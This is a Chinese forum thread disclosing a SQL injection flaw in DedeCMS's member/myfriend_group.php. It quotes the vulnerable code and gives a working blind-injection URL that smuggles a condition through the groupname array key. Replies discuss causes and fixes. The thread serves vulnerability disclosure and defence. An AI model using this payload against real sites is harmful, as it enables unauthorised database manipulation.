Dedecms 会员中心注入漏洞10
<pre><code>member/myfriend_group.php}elseif ($dopost == 'save'){
if(isset($mtypeidarr) && is_array($mtypeidarr))
{
$delids = '0';
$mtypeidarr = array_filter($mtypeidarr, 'is_numeric');
foreach($mtypeidarr as $delid)
{
$delids .= ','.$delid;
unset($groupname[$delid]);
}
$query = "DELETE FROM `#@__member_group` WHERE id in ($delids) AND
mid='$cfg_ml->M_ID'";
$dsql->ExecNoneQuery($query);
$sql="SELECT id FROM `#@__member_friends` WHERE groupid in
($delids) AND mid='$cfg_ml->M_ID'";
$db->SetQuery($sql);
$db->Execute();
while($row = $db->GetArray())
{
$query2 = "UPDATE `#@__member_friends` SET groupid='1' WHERE
id='{$row['id']}' AND mid='$cfg_ml->M_ID'";
$dsql->ExecNoneQuery($query2);
}
}
foreach ($groupname as $id => $name)//遍历key和value 和之前一个诸如一样
{
$name = HtmlReplace($name);
$query = "UPDATE `#@__member_group` SET groupname='$name' WHERE
id='$id' AND mid='$cfg_ml->M_ID'";
echo $query;
$dsql->ExecuteNoneQuery($query);
}
ShowMsg('分组修改完成(删除分组中的会员会转移到默认分组
中)','myfriend_group.php');
}</code></pre>
漏洞证明:
利用方法
先打开127.0.0.1/dede/member/myfriend_group.php随便添加一个
然后看源码里groupname[]中的值
因为没有返回 只能盲注
那么判断是否满足条件就看是否update了原来的数据
这样就easy 执行一下语句
127.0.0.1/dede/member/myfriend_group.php?dopost=save&groupname[3' or @`'`
and (select 1)%3D1 and '1]=12222
如果(select 1)=1的话 那个groupname就会被改成12222
上面的3改成你的groupname的ID就哦了
测试前
测试后
这是连载的节奏啊
Re: Dedecms 会员中心注入漏洞10
这个漏洞分析得很详细,代码位置和利用步骤都写清楚了,感谢分享。从代码看,`$id`直接来自`groupname`数组的键名,没有经过严格过滤,确实存在注入风险。而且因为是盲注,测试方法也给出了判断依据,挺实用的。不过想确认一下,测试前和测试后的截图里具体是哪个字段发生了变化?是groupname的值被改成了12222吗?另外,官方有没有对应的补丁或者临时修复建议?比如对`$id`强制整型转换之类的。Re: Dedecms 会员中心注入漏洞10
感谢楼主分享这个漏洞细节!代码分析很清晰,特别是`$groupname`数组在遍历时直接拼接到SQL语句中,虽然用了`HtmlReplace`但没做数字类型或SQL转义检测,导致注入。利用方法也很实用,盲注思路值得学习。建议官方尽快在`foreach`循环里对`$id`强转int或者用预编译方式修复。Re: Dedecms 会员中心注入漏洞10
感谢分享这个漏洞细节,代码分析得很清楚。看起来问题出在 `foreach ($groupname as $id => $name)` 这段,`$id` 直接从外部传入且未做过滤就直接拼接到 SQL 查询中,导致注入。利用方法也写得很具体,方便复现。 想问一下,这个漏洞在官方最新版本中是否已经修复?或者有没有推荐的临时防御措施,比如对 `$id` 做整数类型转换或者加引号绑定参数?
页:
[1]